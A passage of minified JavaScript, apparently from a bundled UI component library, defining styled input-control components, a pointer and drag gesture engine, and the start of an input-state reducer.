dl(e,["Link"])?(0,c.cloneElement)(e,{size:e.props.size||"inherit"}):e}))),{...T,children:y?T.children:k}}const $v=al((function(e,t){const n=Vv(e);return(0,_t.jsx)(_l,{as:"span",...n,ref:t})}),"Text");const Hv={name:"9amh4a",styles:"font-size:11px;font-weight:500;line-height:1.4;text-transform:uppercase"};const Wv=yl("span",{target:"em5sgkm8"})({name:"pvvbxf",styles:"box-sizing:border-box;display:block"}),Uv=yl("span",{target:"em5sgkm7"})({name:"jgf79h",styles:"align-items:center;align-self:stretch;box-sizing:border-box;display:flex"}),Gv=({disabled:e,isBorderless:t})=>t?"transparent":e?zl.ui.borderDisabled:zl.ui.border,Kv=yl("div",{target:"em5sgkm6"})("&&&{box-sizing:border-box;border-color:",Gv,";border-radius:inherit;border-style:solid;border-width:1px;bottom:0;left:0;margin:0;padding:0;pointer-events:none;position:absolute;right:0;top:0;",Mg({paddingLeft:2}),";}"),qv=yl(kg,{target:"em5sgkm5"})("box-sizing:border-box;position:relative;border-radius:",Fl.radiusSmall,";padding-top:0;&:focus-within:not( :has( :is( ",Wv,", ",Uv," ):focus-within ) ){",Kv,"{border-color:",zl.ui.borderFocus,";box-shadow:",Fl.controlBoxShadowFocus,";outline:2px solid transparent;outline-offset:-2px;}}"),Yv=({disabled:e})=>Nl({backgroundColor:e?zl.ui.backgroundDisabled:zl.ui.background},"","");var Xv={name:"1d3w5wq",styles:"width:100%"};const Zv=({__unstableInputWidth:e,labelPosition:t})=>e?"side"===t?"":Nl("edge"===t?{flex:`0 0 ${e}`}:{width:e},"",""):Xv,Qv=yl("div",{target:"em5sgkm4"})("align-items:center;box-sizing:border-box;border-radius:inherit;display:flex;flex:1;position:relative;",Yv," ",Zv,";"),Jv=({disabled:e})=>e?Nl({color:zl.ui.textDisabled},"",""):"",eb=({inputSize:e})=>{const t={default:"13px",small:"11px",compact:"13px","__unstable-large":"13px"},n=t[e]||t.default;return n?Nl("font-size:","16px",";@media ( min-width: 600px ){font-size:",n,";}",""):""},tb=({inputSize:e,__next40pxDefaultSize:t})=>{const n={default:{height:40,lineHeight:1,minHeight:40,paddingLeft:Fl.controlPaddingX,paddingRight:Fl.controlPaddingX},small:{height:24,lineHeight:1,minHeight:24,paddingLeft:Fl.controlPaddingXSmall,paddingRight:Fl.controlPaddingXSmall},compact:{height:32,lineHeight:1,minHeight:32,paddingLeft:Fl.controlPaddingXSmall,paddingRight:Fl.controlPaddingXSmall},"__unstable-large":{height:40,lineHeight:1,minHeight:40,paddingLeft:Fl.controlPaddingX,paddingRight:Fl.controlPaddingX}};return t||(n.default=n.compact),n[e]||n.default},nb=e=>Nl(tb(e),"",""),rb=({paddingInlineStart:e,paddingInlineEnd:t})=>Nl({paddingInlineStart:e,paddingInlineEnd:t},"",""),ob=({isDragging:e,dragCursor:t})=>{let n,r;return e&&(n=Nl("cursor:",t,";user-select:none;&::-webkit-outer-spin-button,&::-webkit-inner-spin-button{-webkit-appearance:none!important;margin:0!important;}","")),e&&t&&(r=Nl("&:active{cursor:",t,";}","")),Nl(n," ",r,";","")},ib=yl("input",{target:"em5sgkm3"})("&&&{background-color:transparent;box-sizing:border-box;border:none;box-shadow:none!important;color:",zl.theme.foreground,";display:block;font-family:inherit;margin:0;outline:none;width:100%;",ob," ",Jv," ",eb," ",nb," ",rb," &::-webkit-input-placeholder{color:",zl.ui.darkGrayPlaceholder,";}&::-moz-placeholder{color:",zl.ui.darkGrayPlaceholder,";}&:-ms-input-placeholder{color:",zl.ui.darkGrayPlaceholder,";}&[type='email'],&[type='url']{direction:ltr;}}"),sb=yl($v,{target:"em5sgkm2"})("&&&{",Hv,";box-sizing:border-box;display:block;padding-top:0;padding-bottom:0;max-width:100%;z-index:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}"),ab=e=>(0,_t.jsx)(sb,{...e,as:"label"}),lb=yl(Fg,{target:"em5sgkm1"})({name:"1b6uupn",styles:"max-width:calc( 100% - 10px )"}),cb=({variant:e="default",size:t,__next40pxDefaultSize:n,isPrefix:r})=>{const{paddingLeft:o}=tb({inputSize:t,__next40pxDefaultSize:n}),i=r?"paddingInlineStart":"paddingInlineEnd";return Nl("default"===e?{[i]:o}:{display:"flex",[i]:o-4},"","")},ub=yl("div",{target:"em5sgkm0"})(cb,";");const db=(0,c.memo)((function({disabled:e=!1,isBorderless:t=!1}){return(0,_t.jsx)(Kv,{"aria-hidden":"true",className:"components-input-control__backdrop",disabled:e,isBorderless:t})})),pb=db;function fb({children:e,hideLabelFromVision:t,htmlFor:n,...r}){return e?t?(0,_t.jsx)(Sl,{as:"label",htmlFor:n,children:e}):(0,_t.jsx)(lb,{children:(0,_t.jsx)(ab,{htmlFor:n,...r,children:e})}):null}function hb(e){const{__next36pxDefaultSize:t,__next40pxDefaultSize:n,...r}=e;return{...r,__next40pxDefaultSize:null!=n?n:t}}function mb(e){const t={};switch(e){case"top":t.direction="column",t.expanded=!1,t.gap=0;break;case"bottom":t.direction="column-reverse",t.expanded=!1,t.gap=0;break;case"edge":t.justify="space-between"}return t}function gb(e,t){const{__next40pxDefaultSize:n,__unstableInputWidth:r,children:o,className:i,disabled:s=!1,hideLabelFromVision:a=!1,labelPosition:u,id:d,isBorderless:p=!1,label:f,prefix:h,size:m="default",suffix:g,...v}=hb(sl(e,"InputBase")),b=function(e){const t=(0,l.useInstanceId)(gb);return e||`input-base-control-${t}`}(d),x=a||!f,y=(0,c.useMemo)((()=>({InputControlPrefixWrapper:{__next40pxDefaultSize:n,size:m},InputControlSuffixWrapper:{__next40pxDefaultSize:n,size:m}})),[n,m]);return(0,_t.jsxs)(qv,{...v,...mb(u),className:i,gap:2,ref:t,children:[(0,_t.jsx)(fb,{className:"components-input-control__label",hideLabelFromVision:a,labelPosition:u,htmlFor:b,children:f}),(0,_t.jsxs)(Qv,{__unstableInputWidth:r,className:"components-input-control__container",disabled:s,hideLabel:x,labelPosition:u,children:[(0,_t.jsxs)(gs,{value:y,children:[h&&(0,_t.jsx)(Wv,{className:"components-input-control__prefix",children:h}),o,g&&(0,_t.jsx)(Uv,{className:"components-input-control__suffix",children:g})]}),(0,_t.jsx)(pb,{disabled:s,isBorderless:p})]})]})}const vb=al(gb,"InputBase");const bb={toVector:(e,t)=>(void 0===e&&(e=t),Array.isArray(e)?e:[e,e]),add:(e,t)=>[e[0]+t[0],e[1]+t[1]],sub:(e,t)=>[e[0]-t[0],e[1]-t[1]],addTo(e,t){e[0]+=t[0],e[1]+=t[1]},subTo(e,t){e[0]-=t[0],e[1]-=t[1]}};function xb(e,t,n){return 0===t||Math.abs(t)===1/0?Math.pow(e,5*n):e*t*n/(t+n*e)}function yb(e,t,n,r=.15){return 0===r?function(e,t,n){return Math.max(t,Math.min(e,n))}(e,t,n):e<t?-xb(t-e,n-t,r)+t:e>n?+xb(e-n,n-t,r)+n:e}function wb(e){var t=function(e,t){if("object"!=typeof e||null===e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var r=n.call(e,t||"default");if("object"!=typeof r)return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===t?String:Number)(e)}(e,"string");return"symbol"==typeof t?t:String(t)}function _b(e,t,n){return(t=wb(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Sb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function Cb(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Sb(Object(n),!0).forEach((function(t){_b(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Sb(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const kb={pointer:{start:"down",change:"move",end:"up"},mouse:{start:"down",change:"move",end:"up"},touch:{start:"start",change:"move",end:"end"},gesture:{start:"start",change:"change",end:"end"}};function jb(e){return e?e[0].toUpperCase()+e.slice(1):""}const Eb=["enter","leave"];function Pb(e,t="",n=!1){const r=kb[e],o=r&&r[t]||t;return"on"+jb(e)+jb(o)+(function(e=!1,t){return e&&!Eb.includes(t)}(n,o)?"Capture":"")}const Nb=["gotpointercapture","lostpointercapture"];function Tb(e){let t=e.substring(2).toLowerCase();const n=!!~t.indexOf("passive");n&&(t=t.replace("passive",""));const r=Nb.includes(t)?"capturecapture":"capture",o=!!~t.indexOf(r);return o&&(t=t.replace("capture","")),{device:t,capture:o,passive:n}}function Ib(e){return"touches"in e}function Rb(e){return Ib(e)?"touch":"pointerType"in e?e.pointerType:"mouse"}function Mb(e){return Ib(e)?function(e){return"touchend"===e.type||"touchcancel"===e.type?e.changedTouches:e.targetTouches}(e)[0]:e}function Ab(e){return function(e){return Array.from(e.touches).filter((t=>{var n,r;return t.target===e.currentTarget||(null===(n=e.currentTarget)||void 0===n||null===(r=n.contains)||void 0===r?void 0:r.call(n,t.target))}))}(e).map((e=>e.identifier))}function Db(e){const t=Mb(e);return Ib(e)?t.identifier:t.pointerId}function zb(e){const t=Mb(e);return[t.clientX,t.clientY]}function Ob(e,...t){return"function"==typeof e?e(...t):e}function Lb(){}function Fb(...e){return 0===e.length?Lb:1===e.length?e[0]:function(){let t;for(const n of e)t=n.apply(this,arguments)||t;return t}}function Bb(e,t){return Object.assign({},t,e||{})}class Vb{constructor(e,t,n){this.ctrl=e,this.args=t,this.key=n,this.state||(this.state={},this.computeValues([0,0]),this.computeInitial(),this.init&&this.init(),this.reset())}get state(){return this.ctrl.state[this.key]}set state(e){this.ctrl.state[this.key]=e}get shared(){return this.ctrl.state.shared}get eventStore(){return this.ctrl.gestureEventStores[this.key]}get timeoutStore(){return this.ctrl.gestureTimeoutStores[this.key]}get config(){return this.ctrl.config[this.key]}get sharedConfig(){return this.ctrl.config.shared}get handler(){return this.ctrl.handlers[this.key]}reset(){const{state:e,shared:t,ingKey:n,args:r}=this;t[n]=e._active=e.active=e._blocked=e._force=!1,e._step=[!1,!1],e.intentional=!1,e._movement=[0,0],e._distance=[0,0],e._direction=[0,0],e._delta=[0,0],e._bounds=[[-1/0,1/0],[-1/0,1/0]],e.args=r,e.axis=void 0,e.memo=void 0,e.elapsedTime=e.timeDelta=0,e.direction=[0,0],e.distance=[0,0],e.overflow=[0,0],e._movementBound=[!1,!1],e.velocity=[0,0],e.movement=[0,0],e.delta=[0,0],e.timeStamp=0}start(e){const t=this.state,n=this.config;t._active||(this.reset(),this.computeInitial(),t._active=!0,t.target=e.target,t.currentTarget=e.currentTarget,t.lastOffset=n.from?Ob(n.from,t):t.offset,t.offset=t.lastOffset,t.startTime=t.timeStamp=e.timeStamp)}computeValues(e){const t=this.state;t._values=e,t.values=this.config.transform(e)}computeInitial(){const e=this.state;e._initial=e._values,e.initial=e.values}compute(e){const{state:t,config:n,shared:r}=this;t.args=this.args;let o=0;if(e&&(t.event=e,n.preventDefault&&e.cancelable&&t.event.preventDefault(),t.type=e.type,r.touches=this.ctrl.pointerIds.size||this.ctrl.touchIds.size,r.locked=!!document.pointerLockElement,Object.assign(r,function(e){const t={};if("buttons"in e&&(t.buttons=e.buttons),"shiftKey"in e){const{shiftKey:n,altKey:r,metaKey:o,ctrlKey:i}=e;Object.assign(t,{shiftKey:n,altKey:r,metaKey:o,ctrlKey:i})}return t}(e)),r.down=r.pressed=r.buttons%2==1||r.touches>0,o=e.timeStamp-t.timeStamp,t.timeStamp=e.timeStamp,t.elapsedTime=t.timeStamp-t.startTime),t._active){const e=t._delta.map(Math.abs);bb.addTo(t._distance,e)}this.axisIntent&&this.axisIntent(e);const[i,s]=t._movement,[a,l]=n.threshold,{_step:c,values:u}=t;if(n.hasCustomTransform?(!1===c[0]&&(c[0]=Math.abs(i)>=a&&u[0]),!1===c[1]&&(c[1]=Math.abs(s)>=l&&u[1])):(!1===c[0]&&(c[0]=Math.abs(i)>=a&&Math.sign(i)*a),!1===c[1]&&(c[1]=Math.abs(s)>=l&&Math.sign(s)*l)),t.intentional=!1!==c[0]||!1!==c[1],!t.intentional)return;const d=[0,0];if(n.hasCustomTransform){const[e,t]=u;d[0]=!1!==c[0]?e-c[0]:0,d[1]=!1!==c[1]?t-c[1]:0}else d[0]=!1!==c[0]?i-c[0]:0,d[1]=!1!==c[1]?s-c[1]:0;this.restrictToAxis&&!t._blocked&&this.restrictToAxis(d);const p=t.offset,f=t._active&&!t._blocked||t.active;f&&(t.first=t._active&&!t.active,t.last=!t._active&&t.active,t.active=r[this.ingKey]=t._active,e&&(t.first&&("bounds"in n&&(t._bounds=Ob(n.bounds,t)),this.setup&&this.setup()),t.movement=d,this.computeOffset()));const[h,m]=t.offset,[[g,v],[b,x]]=t._bounds;t.overflow=[h<g?-1:h>v?1:0,m<b?-1:m>x?1:0],t._movementBound[0]=!!t.overflow[0]&&(!1===t._movementBound[0]?t._movement[0]:t._movementBound[0]),t._movementBound[1]=!!t.overflow[1]&&(!1===t._movementBound[1]?t._movement[1]:t._movementBound[1]);const y=t._active&&n.rubberband||[0,0];if(t.offset=function(e,[t,n],[r,o]){const[[i,s],[a,l]]=e;return[yb(t,i,s,r),yb(n,a,l,o)]}(t._bounds,t.offset,y),t.delta=bb.sub(t.offset,p),this.computeMovement(),f&&(!t.last||o>32)){t.delta=bb.sub(t.offset,p);const e=t.delta.map(Math.abs);bb.addTo(t.distance,e),t.direction=t.delta.map(Math.sign),t._direction=t._delta.map(Math.sign),!t.first&&o>0&&(t.velocity=[e[0]/o,e[1]/o],t.timeDelta=o)}}emit(){const e=this.state,t=this.shared,n=this.config;if(e._active||this.clean(),(e._blocked||!e.intentional)&&!e._force&&!n.triggerAllEvents)return;const r=this.handler(Cb(Cb(Cb({},t),e),{},{[this.aliasKey]:e.values}));void 0!==r&&(e.memo=r)}clean(){this.eventStore.clean(),this.timeoutStore.clean()}}class $b extends Vb{constructor(...e){super(...e),_b(this,"aliasKey","xy")}reset(){super.reset(),this.state.axis=void 0}init(){this.state.offset=[0,0],this.state.lastOffset=[0,0]}computeOffset(){this.state.offset=bb.add(this.state.lastOffset,this.state.movement)}computeMovement(){this.state.movement=bb.sub(this.state.offset,this.state.lastOffset)}axisIntent(e){const t=this.state,n=this.config;if(!t.axis&&e){const r="object"==typeof n.axisThreshold?n.axisThreshold[Rb(e)]:n.axisThreshold;t.axis=function([e,t],n){const r=Math.abs(e),o=Math.abs(t);return r>o&&r>n?"x":o>r&&o>n?"y":void 0}(t._movement,r)}t._blocked=(n.lockDirection||!!n.axis)&&!t.axis||!!n.axis&&n.axis!==t.axis}restrictToAxis(e){if(this.config.axis||this.config.lockDirection)switch(this.state.axis){case"x":e[1]=0;break;case"y":e[0]=0}}}const Hb=e=>e,Wb={enabled:(e=!0)=>e,eventOptions:(e,t,n)=>Cb(Cb({},n.shared.eventOptions),e),preventDefault:(e=!1)=>e,triggerAllEvents:(e=!1)=>e,rubberband(e=0){switch(e){case!0:return[.15,.15];case!1:return[0,0];default:return bb.toVector(e)}},from:e=>"function"==typeof e?e:null!=e?bb.toVector(e):void 0,transform(e,t,n){const r=e||n.shared.transform;return this.hasCustomTransform=!!r,r||Hb},threshold:e=>bb.toVector(e,0)};const Ub=Cb(Cb({},Wb),{},{axis(e,t,{axis:n}){if(this.lockDirection="lock"===n,!this.lockDirection)return n},axisThreshold:(e=0)=>e,bounds(e={}){if("function"==typeof e)return t=>Ub.bounds(e(t));if("current"in e)return()=>e.current;if("function"==typeof HTMLElement&&e instanceof HTMLElement)return e;const{left:t=-1/0,right:n=1/0,top:r=-1/0,bottom:o=1/0}=e;return[[t,n],[r,o]]}}),Gb={ArrowRight:(e,t=1)=>[e*t,0],ArrowLeft:(e,t=1)=>[-1*e*t,0],ArrowUp:(e,t=1)=>[0,-1*e*t],ArrowDown:(e,t=1)=>[0,e*t]};const Kb="undefined"!=typeof window&&window.document&&window.document.createElement;function qb(){return Kb&&"ontouchstart"in window}const Yb={isBrowser:Kb,gesture:function(){try{return"constructor"in GestureEvent}catch(e){return!1}}(),touch:qb(),touchscreen:qb()||Kb&&window.navigator.maxTouchPoints>1,pointer:Kb&&"onpointerdown"in window,pointerLock:Kb&&"exitPointerLock"in window.document},Xb={mouse:0,touch:0,pen:8},Zb=Cb(Cb({},Ub),{},{device(e,t,{pointer:{touch:n=!1,lock:r=!1,mouse:o=!1}={}}){return this.pointerLock=r&&Yb.pointerLock,Yb.touch&&n?"touch":this.pointerLock?"mouse":Yb.pointer&&!o?"pointer":Yb.touch?"touch":"mouse"},preventScrollAxis(e,t,{preventScroll:n}){if(this.preventScrollDelay="number"==typeof n?n:n||void 0===n&&e?250:void 0,Yb.touchscreen&&!1!==n)return e||(void 0!==n?"y":void 0)},pointerCapture(e,t,{pointer:{capture:n=!0,buttons:r=1,keys:o=!0}={}}){return this.pointerButtons=r,this.keys=o,!this.pointerLock&&"pointer"===this.device&&n},threshold(e,t,{filterTaps:n=!1,tapsThreshold:r=3,axis:o}){const i=bb.toVector(e,n?r:o?1:0);return this.filterTaps=n,this.tapsThreshold=r,i},swipe({velocity:e=.5,distance:t=50,duration:n=250}={}){return{velocity:this.transform(bb.toVector(e)),distance:this.transform(bb.toVector(t)),duration:n}},delay(e=0){switch(e){case!0:return 180;case!1:return 0;default:return e}},axisThreshold:e=>e?Cb(Cb({},Xb),e):Xb,keyboardDisplacement:(e=10)=>e});Cb(Cb({},Wb),{},{device(e,t,{shared:n,pointer:{touch:r=!1}={}}){if(n.target&&!Yb.touch&&Yb.gesture)return"gesture";if(Yb.touch&&r)return"touch";if(Yb.touchscreen){if(Yb.pointer)return"pointer";if(Yb.touch)return"touch"}},bounds(e,t,{scaleBounds:n={},angleBounds:r={}}){const o=e=>{const t=Bb(Ob(n,e),{min:-1/0,max:1/0});return[t.min,t.max]},i=e=>{const t=Bb(Ob(r,e),{min:-1/0,max:1/0});return[t.min,t.max]};return"function"!=typeof n&&"function"!=typeof r?[o(),i()]:e=>[o(e),i(e)]},threshold(e,t,n){this.lockDirection="lock"===n.axis;return bb.toVector(e,this.lockDirection?[.1,3]:0)},modifierKey:e=>void 0===e?"ctrlKey":e,pinchOnWheel:(e=!0)=>e});Cb(Cb({},Ub),{},{mouseOnly:(e=!0)=>e});Cb(Cb({},Ub),{},{mouseOnly:(e=!0)=>e});const Qb=new Map,Jb=new Map;const ex={key:"drag",engine:class extends $b{constructor(...e){super(...e),_b(this,"ingKey","dragging")}reset(){super.reset();const e=this.state;e._pointerId=void 0,e._pointerActive=!1,e._keyboardActive=!1,e._preventScroll=!1,e._delayed=!1,e.swipe=[0,0],e.tap=!1,e.canceled=!1,e.cancel=this.cancel.bind(this)}setup(){const e=this.state;if(e._bounds instanceof HTMLElement){const t=e._bounds.getBoundingClientRect(),n=e.currentTarget.getBoundingClientRect(),r={left:t.left-n.left+e.offset[0],right:t.right-n.right+e.offset[0],top:t.top-n.top+e.offset[1],bottom:t.bottom-n.bottom+e.offset[1]};e._bounds=Ub.bounds(r)}}cancel(){const e=this.state;e.canceled||(e.canceled=!0,e._active=!1,setTimeout((()=>{this.compute(),this.emit()}),0))}setActive(){this.state._active=this.state._pointerActive||this.state._keyboardActive}clean(){this.pointerClean(),this.state._pointerActive=!1,this.state._keyboardActive=!1,super.clean()}pointerDown(e){const t=this.config,n=this.state;if(null!=e.buttons&&(Array.isArray(t.pointerButtons)?!t.pointerButtons.includes(e.buttons):-1!==t.pointerButtons&&t.pointerButtons!==e.buttons))return;const r=this.ctrl.setEventIds(e);t.pointerCapture&&e.target.setPointerCapture(e.pointerId),r&&r.size>1&&n._pointerActive||(this.start(e),this.setupPointer(e),n._pointerId=Db(e),n._pointerActive=!0,this.computeValues(zb(e)),this.computeInitial(),t.preventScrollAxis&&"mouse"!==Rb(e)?(n._active=!1,this.setupScrollPrevention(e)):t.delay>0?(this.setupDelayTrigger(e),t.triggerAllEvents&&(this.compute(e),this.emit())):this.startPointerDrag(e))}startPointerDrag(e){const t=this.state;t._active=!0,t._preventScroll=!0,t._delayed=!1,this.compute(e),this.emit()}pointerMove(e){const t=this.state,n=this.config;if(!t._pointerActive)return;const r=Db(e);if(void 0!==t._pointerId&&r!==t._pointerId)return;const o=zb(e);return document.pointerLockElement===e.target?t._delta=[e.movementX,e.movementY]:(t._delta=bb.sub(o,t._values),this.computeValues(o)),bb.addTo(t._movement,t._delta),this.compute(e),t._delayed&&t.intentional?(this.timeoutStore.remove("dragDelay"),t.active=!1,void this.startPointerDrag(e)):n.preventScrollAxis&&!t._preventScroll?t.axis?t.axis===n.preventScrollAxis||"xy"===n.preventScrollAxis?(t._active=!1,void this.clean()):(this.timeoutStore.remove("startPointerDrag"),void this.startPointerDrag(e)):void 0:void this.emit()}pointerUp(e){this.ctrl.setEventIds(e);try{this.config.pointerCapture&&e.target.hasPointerCapture(e.pointerId)&&e.target.releasePointerCapture(e.pointerId)}catch(e){0}const t=this.state,n=this.config;if(!t._active||!t._pointerActive)return;const r=Db(e);if(void 0!==t._pointerId&&r!==t._pointerId)return;this.state._pointerActive=!1,this.setActive(),this.compute(e);const[o,i]=t._distance;if(t.tap=o<=n.tapsThreshold&&i<=n.tapsThreshold,t.tap&&n.filterTaps)t._force=!0;else{const[e,r]=t._delta,[o,i]=t._movement,[s,a]=n.swipe.velocity,[l,c]=n.swipe.distance,u=n.swipe.duration;if(t.elapsedTime<u){const n=Math.abs(e/t.timeDelta),u=Math.abs(r/t.timeDelta);n>s&&Math.abs(o)>l&&(t.swipe[0]=Math.sign(e)),u>a&&Math.abs(i)>c&&(t.swipe[1]=Math.sign(r))}}this.emit()}pointerClick(e){!this.state.tap&&e.detail>0&&(e.preventDefault(),e.stopPropagation())}setupPointer(e){const t=this.config,n=t.device;t.pointerLock&&e.currentTarget.requestPointerLock(),t.pointerCapture||(this.eventStore.add(this.sharedConfig.window,n,"change",this.pointerMove.bind(this)),this.eventStore.add(this.sharedConfig.window,n,"end",this.pointerUp.bind(this)),this.eventStore.add(this.sharedConfig.window,n,"cancel",this.pointerUp.bind(this)))}pointerClean(){this.config.pointerLock&&document.pointerLockElement===this.state.currentTarget&&document.exitPointerLock()}preventScroll(e){this.state._preventScroll&&e.cancelable&&e.preventDefault()}setupScrollPrevention(e){this.state._preventScroll=!1,function(e){"persist"in e&&"function"==typeof e.persist&&e.persist()}(e);const t=this.eventStore.add(this.sharedConfig.window,"touch","change",this.preventScroll.bind(this),{passive:!1});this.eventStore.add(this.sharedConfig.window,"touch","end",t),this.eventStore.add(this.sharedConfig.window,"touch","cancel",t),this.timeoutStore.add("startPointerDrag",this.startPointerDrag.bind(this),this.config.preventScrollDelay,e)}setupDelayTrigger(e){this.state._delayed=!0,this.timeoutStore.add("dragDelay",(()=>{this.state._step=[0,0],this.startPointerDrag(e)}),this.config.delay)}keyDown(e){const t=Gb[e.key];if(t){const n=this.state,r=e.shiftKey?10:e.altKey?.1:1;this.start(e),n._delta=t(this.config.keyboardDisplacement,r),n._keyboardActive=!0,bb.addTo(n._movement,n._delta),this.compute(e),this.emit()}}keyUp(e){e.key in Gb&&(this.state._keyboardActive=!1,this.setActive(),this.compute(e),this.emit())}bind(e){const t=this.config.device;e(t,"start",this.pointerDown.bind(this)),this.config.pointerCapture&&(e(t,"change",this.pointerMove.bind(this)),e(t,"end",this.pointerUp.bind(this)),e(t,"cancel",this.pointerUp.bind(this)),e("lostPointerCapture","",this.pointerUp.bind(this))),this.config.keys&&(e("key","down",this.keyDown.bind(this)),e("key","up",this.keyUp.bind(this))),this.config.filterTaps&&e("click","",this.pointerClick.bind(this),{capture:!0,passive:!1})}},resolver:Zb};function tx(e,t){if(null==e)return{};var n,r,o=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}const nx={target(e){if(e)return()=>"current"in e?e.current:e},enabled:(e=!0)=>e,window:(e=(Yb.isBrowser?window:void 0))=>e,eventOptions:({passive:e=!0,capture:t=!1}={})=>({passive:e,capture:t}),transform:e=>e},rx=["target","eventOptions","window","enabled","transform"];function ox(e={},t){const n={};for(const[r,o]of Object.entries(t))switch(typeof o){case"function":n[r]=o.call(n,e[r],r,e);break;case"object":n[r]=ox(e[r],o);break;case"boolean":o&&(n[r]=e[r])}return n}class ix{constructor(e,t){_b(this,"_listeners",new Set),this._ctrl=e,this._gestureKey=t}add(e,t,n,r,o){const i=this._listeners,s=function(e,t=""){const n=kb[e];return e+(n&&n[t]||t)}(t,n),a=Cb(Cb({},this._gestureKey?this._ctrl.config[this._gestureKey].eventOptions:{}),o);e.addEventListener(s,r,a);const l=()=>{e.removeEventListener(s,r,a),i.delete(l)};return i.add(l),l}clean(){this._listeners.forEach((e=>e())),this._listeners.clear()}}class sx{constructor(){_b(this,"_timeouts",new Map)}add(e,t,n=140,...r){this.remove(e),this._timeouts.set(e,window.setTimeout(t,n,...r))}remove(e){const t=this._timeouts.get(e);t&&window.clearTimeout(t)}clean(){this._timeouts.forEach((e=>{window.clearTimeout(e)})),this._timeouts.clear()}}class ax{constructor(e){_b(this,"gestures",new Set),_b(this,"_targetEventStore",new ix(this)),_b(this,"gestureEventStores",{}),_b(this,"gestureTimeoutStores",{}),_b(this,"handlers",{}),_b(this,"config",{}),_b(this,"pointerIds",new Set),_b(this,"touchIds",new Set),_b(this,"state",{shared:{shiftKey:!1,metaKey:!1,ctrlKey:!1,altKey:!1}}),function(e,t){t.drag&&lx(e,"drag");t.wheel&&lx(e,"wheel");t.scroll&&lx(e,"scroll");t.move&&lx(e,"move");t.pinch&&lx(e,"pinch");t.hover&&lx(e,"hover")}(this,e)}setEventIds(e){return Ib(e)?(this.touchIds=new Set(Ab(e)),this.touchIds):"pointerId"in e?("pointerup"===e.type||"pointercancel"===e.type?this.pointerIds.delete(e.pointerId):"pointerdown"===e.type&&this.pointerIds.add(e.pointerId),this.pointerIds):void 0}applyHandlers(e,t){this.handlers=e,this.nativeHandlers=t}applyConfig(e,t){this.config=function(e,t,n={}){const r=e,{target:o,eventOptions:i,window:s,enabled:a,transform:l}=r,c=tx(r,rx);if(n.shared=ox({target:o,eventOptions:i,window:s,enabled:a,transform:l},nx),t){const e=Jb.get(t);n[t]=ox(Cb({shared:n.shared},c),e)}else for(const e in c){const t=Jb.get(e);t&&(n[e]=ox(Cb({shared:n.shared},c[e]),t))}return n}(e,t,this.config)}clean(){this._targetEventStore.clean();for(const e of this.gestures)this.gestureEventStores[e].clean(),this.gestureTimeoutStores[e].clean()}effect(){return this.config.shared.target&&this.bind(),()=>this._targetEventStore.clean()}bind(...e){const t=this.config.shared,n={};let r;if(!t.target||(r=t.target(),r)){if(t.enabled){for(const t of this.gestures){const o=this.config[t],i=cx(n,o.eventOptions,!!r);if(o.enabled){new(Qb.get(t))(this,e,t).bind(i)}}const o=cx(n,t.eventOptions,!!r);for(const t in this.nativeHandlers)o(t,"",(n=>this.nativeHandlers[t](Cb(Cb({},this.state.shared),{},{event:n,args:e}))),void 0,!0)}for(const e in n)n[e]=Fb(...n[e]);if(!r)return n;for(const e in n){const{device:t,capture:o,passive:i}=Tb(e);this._targetEventStore.add(r,t,"",n[e],{capture:o,passive:i})}}}}function lx(e,t){e.gestures.add(t),e.gestureEventStores[t]=new ix(e,t),e.gestureTimeoutStores[t]=new sx}const cx=(e,t,n)=>(r,o,i,s={},a=!1)=>{var l,c;const u=null!==(l=s.capture)&&void 0!==l?l:t.capture,d=null!==(c=s.passive)&&void 0!==c?c:t.passive;let p=a?r:Pb(r,o,u);n&&d&&(p+="Passive"),e[p]=e[p]||[],e[p].push(i)};function ux(e,t={},n,r){const o=$().useMemo((()=>new ax(e)),[]);if(o.applyHandlers(e,r),o.applyConfig(t,n),$().useEffect(o.effect.bind(o)),$().useEffect((()=>o.clean.bind(o)),[]),void 0===t.target)return o.bind.bind(o)}function dx(e,t){var n;return n=ex,Qb.set(n.key,n.engine),Jb.set(n.key,n.resolver),ux({drag:e},t||{},"drag")}const px=e=>e,fx={error:null,initialValue:"",isDirty:!1,isDragEnabled:!1,isDragging:!1,isPressEnterToChange:!1,value:""},hx="CHANGE",mx="COMMIT",gx="CONTROL",vx="DRAG_END",bx="DRAG_START",xx="DRAG",yx="INVALIDATE",wx="PRESS_DOWN",_x="PRESS_ENTER",Sx="PRESS_UP",Cx="RESET";function kx(e=px,t=fx,n){const[r,o]=(0,c.useReducer)((i=e,(e,t)=>{const n={...e};switch(t.type){case gx:return n.value=t.payload.value,n.isDirty=!1,n._event=void 0,n;case Sx:case wx:n.isDirty=!1;break;case bx:n.isDragging=!0;break;case vx:n.isDragging=!1;break;case hx:n.error=null,n.value=t.payload.value,e.isPressEnterToChange&&(n.isDirty=!0);break;case mx:n.value=t.payload.value,n.isDirty=!1;break;case Cx:n.error=null,n.isDirty=!1,n.value=t.payload.value||e.initialValue;break;case yx:n.error=t.payload.error}return n._event=t.payload.event,i(n,t)}),function(e=fx){const{value:t}=e;return{...fx,...e,initialValue:t}}(t));var i;const 